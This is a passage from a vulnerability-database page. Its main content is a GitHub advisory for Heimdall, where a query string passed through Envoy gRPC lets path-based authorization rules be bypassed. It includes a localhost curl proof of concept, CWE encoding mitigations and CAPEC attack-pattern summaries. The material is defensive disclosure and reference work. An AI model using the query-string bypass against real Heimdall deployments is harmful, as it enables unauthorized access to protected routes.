    "github_reviewed_at": "2023-11-08T14:58:02Z",
    "nvd_published_at": "2023-11-06T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost fails to properly sanitize the user object when updating the username, resulting in the password hash being included in the response body.\u00a0",
  "id": "GHSA-r67m-mf7v-qp7j",
  "modified": "2025-07-22T17:17:20Z",
  "published": "2023-11-06T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/24362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/pull/24566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/698f4a97da564e2c1f2bf1fbd01755cefa3b7881"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost password hash disclosure vulnerability"
}

GHSA-R8X2-FHMF-6MXP

Vulnerability from github – Published: 2026-03-18 13:00 – Updated: 2026-04-27 15:22
VLAI
Summary
Heimdall: Path received via Envoy gRPC corrupted when containing query string
Details

Summary

When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.

The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.

Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.

Details

Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].

The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.

https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115

As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.

PoC

Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.

docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5

curl -v http://127.0.0.1:9090/public?bypass
*   Trying 127.0.0.1:9090...
* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 
* using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
< 
* Connection #0 to host 127.0.0.1:9090 left intact

When using the HTTP decision API variant, the second request is matched by the rule as well:

docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2

Impact

Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.

[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.17.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0-alpha"
            },
            {
              "fixed": "0.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T13:00:56Z",
    "nvd_published_at": "2026-03-20T02:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.\n\nThe HTTP based decision API is NOT affected, and proxy mode is NOT affected either.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag.\n\n### Details\nEnvoy splits the requested URL into parts, and sends the parts individually to heimdall. Although `query` and `path` are present in the API, the `query` field is documented to be always empty and the URL query is included in the `path` field [1].\n\nThe implementation uses go\u0027s url library to reconstruct the url which automatically encodes special characters in the path. \n\n https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115\n\nAs a consequence, a parameter like `/mypath?foo=bar` to `Path`  is escaped into  `/mypath%3Ffoo=bar`. Subsequently, a rule matching `/mypath` no longer matches and is bypassed.\n\n\n### PoC\n\nUsing the example docker compose setup, the `demo:public` rule is bypassed when adding a query parameter.\n\n\u003e docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.3\nRemoteAddr: 172.23.0.5:37056\nGET /public HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5\n\ncurl -v http://127.0.0.1:9090/public?bypass\n*   Trying 127.0.0.1:9090...\n* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 \n* using HTTP/1.x\n\u003e GET /public?hallo HTTP/1.1\n\u003e Host: 127.0.0.1:9090\n\u003e User-Agent: curl/8.19.0\n\u003e Accept: */*\n\u003e \n* Request completely sent off\n\u003c HTTP/1.1 401 Unauthorized\n\u003c date: Sat, 14 Mar 2026 16:34:17 GMT\n\u003c server: envoy\n\u003c content-length: 0\n\u003c \n* Connection #0 to host 127.0.0.1:9090 left intact\n```\n\nWhen using the HTTP decision API variant, the second request is matched by the rule as well:\n\n\u003e docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public?bypass\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.4\nRemoteAddr: 172.23.0.2:38044\nGET /public?hallo HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2\n```\n\n### Impact\n\nEveryone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.\n\n[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147",
  "id": "GHSA-r8x2-fhmf-6mxp",
  "modified": "2026-04-27T15:22:43Z",
  "published": "2026-03-18T13:00:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-r8x2-fhmf-6mxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32811"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/pull/3106"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/commit/50321b3007db1ccafdc6b1cfd6bdc3689c19a502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    },
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Heimdall: Path received via Envoy gRPC corrupted when containing query string"
}

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.